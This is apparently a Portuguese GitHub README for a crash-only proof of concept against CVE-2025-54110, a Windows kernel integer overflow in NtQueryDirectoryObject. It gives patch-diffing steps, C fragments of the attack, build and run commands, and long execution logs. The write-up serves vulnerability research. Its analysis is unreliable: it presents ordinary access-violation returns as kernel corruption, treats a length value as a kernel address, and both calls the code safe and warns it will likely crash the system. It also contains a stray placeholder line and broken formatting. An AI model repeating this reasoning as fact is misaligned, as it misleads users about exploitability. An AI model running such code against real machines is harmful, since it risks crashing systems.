
Data do Projeto: Out 2025 / Implementação de PoC para CVE-2025-54110, uma Vulnerabilidade de Estouro de Inteiro em Nível de Kernel na chamada de sistema `NtQueryDirectoryObject` do Windows.
Implementação de PoC para CVE-2025-54110, uma vulnerabilidade de estouro de inteiro no nível do kernel na chamada de sistema NtQueryDirectoryObject do Windows.
CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110
Este repositório contém um PoC apenas para Crash da vulnerabilidade CVE-2025-54110 de EoP no Kernel, desenvolvido exclusivamente para pesquisa em segurança, engenharia reversa e pesquisa de desenvolvimento de exploits. Este código tem a intenção de demonstrar técnicas de pesquisa de vulnerabilidades, incluindo:
Este PoC NÃO alcança elevação de privilégio nem BSOD confiável. Ele é projetado para disparar com segurança violações de acesso que são capturadas pelas proteções do kernel do Windows.
Data de Publicação: Setembro de 2025 (Patch de Segurança de Terça-feira da Microsoft)
| Propriedade | Valor |
|---|---|
| CWE | CWE-190: Estouro de Inteiro ou Wrap-around |
| Pontuação CVSS 3.1 | 8.8 (Alta) / 7.7 (Temporal) |
| String do Vetor | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C |
| Vetor de Ataque | Local |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Baixos |
| Interação do Usuário | Nenhuma |
| Escopo | Alterado |
| Confidencialidade | Alta |
| Integridade | Alta |
| Disponibilidade | Alta |
| Maturidade do Exploit | Não Comprovada |
Uma vulnerabilidade de estouro de inteiro no Kernel do Windows permite que um atacante autenticado potencialmente eleve privilégios localmente. De acordo com o aviso da Microsoft:
"Um atacante poderia explorar esta vulnerabilidade enviando entrada especialmente criada a partir de um processo em modo de usuário em área restrita (sandbox) para disparar um estouro de inteiro, resultando em um estouro de buffer no kernel e permitindo a elevação de privilégio ou fuga da sandbox."
Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison
### 2. Arquivos Analisados
A análise inicial concentrou-se em dois principais componentes do kernel:
#### win32k.sys (-)
- **Resultado:** Nenhuma alteração significativa detectada
- **Faixa de Pontuação:** 0.97-1.0 (alta similaridade)
- **Conclusão:** Não é o componente vulnerável para o CVE-2025-54110
#### ntoskrnl.exe (+)
- **Resultado:** Múltiplas funções com alterações significativas
- **Faixa de Pontuação:** Funções com pontuações ≤0.951
- **Diferenças de Tamanho:** Variações de comprimento de bytes entre Origem e Destino detectadas
- **Total de Itens Exportados:** 2.036 funções para análise
### 3. Resultados do Rastreamento de Versão do Ghidra
Amostra das alterações identificadas em `ntoskrnl.exe`:
| Pontuação | Confiança | Tamanho Origem | Tamanho Destino | Função Origem | Função Destino |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |
---
## Declaração do PoC
### Abordagem Técnica
O PoC (`precise_overflow_bsod.c`) tenta desencadear a vulnerabilidade de estouro de inteiro através de:
1. **Cálculo Preciso do Limiar:** `0xfffffdbc` (derivado de base=0x20, nome=0x200)
2. **API NtQueryDirectoryObject:** Função alvo para desencadear o estouro
3. **Estratégia de Ataque em Múltiplas Fases:**
- Fase 1: Tentativas de estouro de inteiro de precisão
- Fase 2: Mira na memória do kernel
- Fase 3: Exploração multi-thread
### Estrutura do Código```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
0xfffffdbc, // Precise threshold - base=0x20, name=0x200
0xfffffdbb, // Threshold - 1
0xfffffdbd, // Threshold + 1
0xfffffdba, // Threshold - 2
0xfffffdbe, // Threshold + 2
};
// Buffer configurations to test edge cases
PVOID buffer_types[] = {
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE), // Normal buffer
VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE), // Small buffer
NULL, // NULL pointer
(PVOID)0x4141414141414141, // Invalid pointer
(PVOID)0x0000000000000000, // Zero address
};
NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state
## Por que o PoC Não Trava o Sistema
### Resultados Reais
O PoC retorna consistentemente `STATUS_ACCESS_VIOLATION (0xC0000005)` sem causar uma Tela Azul da Morte (BSOD). Isso é **por design** e demonstra vários mecanismos críticos de segurança do kernel do Windows:
### 1. Tratamento Estruturado de Exceções (SEH)```
User-Mode Input → NtQueryDirectoryObject
↓
ProbeForRead/Write
↓
__try { ... }
↓
Access Violation Detected
↓
__except { ... }
↓
Return STATUS_ACCESS_VIOLATION
Por que funciona:
Recurso moderno da CPU que impede que o modo kernel (Ring 0) acesse a memória do modo de usuário (Ring 3) sem autorização explícita:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler
**Impacto no PoC:**
- Mesmo que ocorra estouro, o acesso direto à memória do kernel para o usuário é bloqueado
- Impede a exploração de vulnerabilidades de desreferência de ponteiro
### 3. KASLR (Kernel Address Space Layout Randomization)```
Boot Time: Kernel Base = Random Address
↓
Hardcoded PoC address (0xfffffdbc)
↓
Does NOT match actual kernel structures
↓
Write to non-critical memory OR caught by SEH
Por que o BSOD não ocorre:
Windows 10+ implementa detecção aprimorada de corrupção do pool:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally
## Análise da Saída da Execução do PoC
### Saída Esperada
Veja o `STATUS_ACCESS_VIOLATION (0xC0000005)`, então está ok.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y
[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[-] Exploit finished. If the system is still running, the attack may have been mitigated.
C:\Users\reLab\Desktop\cve>

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc
[+] Exploiting all directories with precise threshold...
[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...
### Comportamento Observado```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005
Status Code: 0xC0000005 = STATUS_ACCESS_VIOLATION
| Aspecto | Interpretação |
|---|---|
| Confirmação de Vulnerabilidade | (+) O caminho do código atinge a função vulnerável |
| Validação de Entrada | (!) Entrada elaborada desencadeia comportamento anormal |
| Estabilidade do Sistema | (+) SEH impede travamento; sistema permanece estável |
| Conquista de DoS | (-) Sem BSOD; tratamento de exceção bem-sucedido |
| Conquista de EoP | (-) Sem escalada de privilégios; falha controlada |
┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘
---
## Valor Educacional
### O que esta PoC Demonstra
#### Resultados
1. **Metodologia de Patch Diffing**
- Comparação de binários pré/pós-patch usando Ghidra
- Identificação de funções modificadas através de rastreamento de versões
- Análise de métricas de similaridade baseadas em pontuação
2. **Arquitetura do Kernel do Windows**
- Compreensão do fluxo de syscall (`NtQueryDirectoryObject`)
- Reconhecimento dos limites entre modo kernel e modo usuário
- Aprendizado sobre funções internas da NTAPI
3. **Comportamento dos Mecanismos de Segurança**
- SEH em ação: exceção capturada vs. travamento do sistema
- SMAP impedindo acesso não autorizado à memória
- KASLR derrotando exploração de endereços estáticos
4. **Processo de Pesquisa de Vulnerabilidades**
- Análise de CVE e coleta de informações
- Engenharia reversa de mudanças em binários
- Testes de hipóteses através de tentativas controladas de exploração
#### Limitações
1. **Proteções Modernas do Kernel são Eficazes**
- Tentativas simples de estouro são insuficientes
- Múltiplas camadas de defesa precisam ser contornadas
- Análise estática por si só não pode prever exploração
2. **Lacuna entre Teoria e Prática**
- Estouro de inteiros existe (teórico)
- Exploração prática requer:
- Divulgação de informações (vazar endereços do kernel)
- Heap shaping/Feng Shui
- Cadeias ROP ou outras primitivas de execução de código
- Contornar DEP, CFG, HVCI, etc.
---
## Funções Prioritárias para Análise
Com base nas características da CVE-2025-54110 (Estouro de Inteiros → Estouro de Buffer no Kernel), priorize a revisão das funções no CSV exportado que manipulam:
### Categorias de Alta Prioridade```yaml
Integer/Size Calculations:
- Functions with arithmetic operations on buffer sizes
- Length calculation before allocation
- Checked vs. unchecked math operations
Buffer/Memory Operations:
- memcpy, memmove, RtlCopyMemory variants
- ExAllocatePool* family
- Buffer size validation routines
Object Directory Handling:
- NtQueryDirectoryObject and related helpers
- ObpLookupDirectoryEntry
- Object enumeration functions
User-Mode Interface:
- ProbeForRead/Write wrappers
- Input validation functions
- IOCTL handlers
Passo 1: Filtro Baseado em Pontuação``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)
**Passo 2: Pesquisa por Palavras-Chave**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"
Passo 3: Análise de Referências Cruzadas``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]
**Passo 4: Alterar Magnitude**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)
### Compilação```bash
# on x64 Native Tools CLI for VS 20xx
# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib
# or
cl poc.c /link /SUBSYSTEM:CONSOLE
[No content provided in the INPUT section.]```bash
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
### Execução```powershell
# Run with admin privileges
.\poc64.exe
Saída Esperada:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.
---
## Recursos e Referências
### Fontes Oficiais
- [Aviso de Segurança da Microsoft - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Estouro ou Empacotamento de Inteiro](https://cwe.mitre.org/data/definitions/190.html)
- [Internos do Kernel do Windows - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)
### Ferramentas de Pesquisa
- [Ghidra - Suite de Engenharia Reversa da NSA](https://ghidra-sre.org/)
- [WinDbg - Ferramentas de Depuração do Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)
### Leitura Relacionada
- [Desenvolvimento de Exploits de Kernel](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Exploração de Kernel do Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Comparação de Patches com Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)
---
## Aviso Legal
Este código é fornecido APENAS PARA FINS EDUCACIONAIS.
NÃO utilize este código para:
• Acesso não autorizado a sistemas de computador
• Ataques maliciosos ou danos
• Quaisquer atividades ilegais
O autor NÃO assume responsabilidade por uso indevido.
Os usuários devem cumprir todas as leis aplicáveis.
**Ao usar este código, você reconhece:**
1. Você tem autorização para testar nos sistemas alvo
2. Você entende as implicações legais na sua jurisdição
3. Você aceita total responsabilidade por suas ações
4. Isto é para aprendizado, não para atividades maliciosas
---
## Aviso Legal
Este repositório é fornecido estritamente para fins educacionais, pesquisa de segurança defensiva e reprodução de vulnerabilidades em ambientes de laboratório controlados.
As informações e o código de prova de conceito destinam-se a ajudar defensores, pesquisadores e fornecedores a entender e remediar a vulnerabilidade reportada.
O uso não autorizado ou malicioso deste código contra sistemas sem permissão explícita pode violar leis e regulamentos aplicáveis.
O autor não incentiva ou condona atividades ilegais e não assume responsabilidade por uso indevido ou danos causados por este material.
Este relatório de divulgação de vulnerabilidade é fornecido para:
1. Pesquisa e educação em segurança
2. Notificação ao fornecedor e desenvolvimento de patches
3. Proteção dos usuários finais
4. Fins acadêmicos e de segurança defensiva
**Usos Proibidos:**
- Acesso não autorizado a sistemas de computador
- Exploração maliciosa
- Qualquer atividade ilegal
O pesquisador realizou todos os testes em sistemas de sua propriedade, em ambientes controlados. Nenhum acesso não autorizado a sistemas de terceiros foi realizado.
**Versão do Relatório:** 1.0
**Última Atualização:** 9 de fevereiro de 2026
---
## Contato
Para consultas legítimas de pesquisa em segurança ou colaboração educacional:
**Divulgação Responsável:**
- Problemas de segurança com este PoC → Abra uma Issue no GitHub
- Exploração real do CVE-2025-54110 → Reporte ao [MSRC](https://msrc.microsoft.com/)
---
## Licença```
MIT License - See LICENSE file for details
Educational software provided "as is" without warranty.
Use at your own risk.